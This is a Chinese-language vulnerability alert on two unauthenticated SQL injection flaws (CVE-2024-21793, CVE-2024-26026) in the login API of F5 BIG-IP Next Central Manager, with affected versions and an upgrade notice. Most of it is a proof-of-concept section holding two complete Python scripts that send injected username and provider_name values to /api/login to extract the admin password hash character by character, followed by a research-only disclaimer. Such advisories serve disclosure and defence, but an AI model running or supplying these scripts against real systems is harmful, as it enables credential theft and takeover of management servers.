漏洞预警 | F5 BIG-IP Next Central Manager SQL注入漏洞

0x00 漏洞编号
  • CVE-2024-21793

  • CVE-2024-26026

0x01 危险等级
  • 高危
0x02 漏洞概述

F5 BIG-IP Next Central Manager可用于全面管理、自动化和监控部署在任何地方的众多BIG-IP Next实例。

0x03 漏洞详情

CVE-2024-21793、CVE-2024-26026
漏洞类型:SQL注入
影响:获取敏感信息
简述:F5 BIG-IP Next Central Manager的/api/login接口处的username和provider_name参数存在SQL注入漏洞,攻击者可在无需登陆的情况下利用此漏洞注入获取数据库中的敏感信息。

0x04 影响版本
  • 20.0.1 <= BIG-IP Next Central Manager <= 20.1.0

0x05 POC

# CVE-2024-21793import string import requestsimport urllib3import argparse urllib3.disable_warnings()  def leak_hash(target: str, target_user: str = "admin"):    URL = f"{target}/api/login"     charset = string.digits + string.ascii_letters + '/.$'     current_guess = ''     while True:        guessed = False        for guess in charset:            full_guess = current_guess + guess            stuff = requests.post(URL, json={                "username": f"fakeuser' or 'username' eq '{target_user}' and startswith('password','{full_guess}') or 'username' eq '1",                "password": "password",                "provider_type": "LDAP",                "provider_name": "LDAP"            }, verify=False).json()            if stuff["status"] == 500:                guessed = True                current_guess += guess                print("[+]", current_guess)                break        if not guessed:            break  if __name__ == '__main__':    parser = argparse.ArgumentParser(description='Leak the admin password hash')    parser.add_argument('target', type=str, help='The target URL')    parser.add_argument('target_user', type=str, help='The target user', default='admin', nargs='?')    args = parser.parse_args()    leak_hash(args.target, args.target_user)
# CVE-2024-26026import string import requestsimport urllib3import argparse urllib3.disable_warnings() def encode_string(s: str) -> str:    return ",".join([f"chr({ord(c)})" for c in s]) def leak_hash(target: str, target_user: str = "admin"):    charset = string.digits + string.ascii_letters + '/.$'    encoded_user = encode_string(target_user)     URL = f"{target}/api/login"    current_guess = ''    while True:        guessed = False        for guess in charset:            full_guess = encode_string(current_guess + guess + '%')            stuff = requests.post(URL, json={                "username": "fake_user",                "password": "password",                "provider_type": "LDAP",                "provider_name": f"LDAPP'or' name = (select case when (password like concat({full_guess})) then chr(76)||chr(111)||chr(99)||chr(97)||chr(108) else chr(76) end from mbiq_system.users where username like concat({encoded_user}) limit 1)"            }, verify=False).json()            if "root distinguished name is required" in stuff["message"]:                guessed = True                current_guess += guess                print("[+]", current_guess)                break        if not guessed:            break if __name__ == '__main__':    parser = argparse.ArgumentParser(description='Leak the admin password hash')    parser.add_argument('target', type=str, help='The target URL')    parser.add_argument('target_user', type=str, help='The target user', default='admin', nargs='?')    args = parser.parse_args()    leak_hash(args.target, args.target_user)
仅供安全研究与学习之用,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布不承担任何法律及连带责任。

0x06 修复建议

目前官方已发布漏洞修复版本,建议用户升级到安全版本
https://www.f5.com.cn/


免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐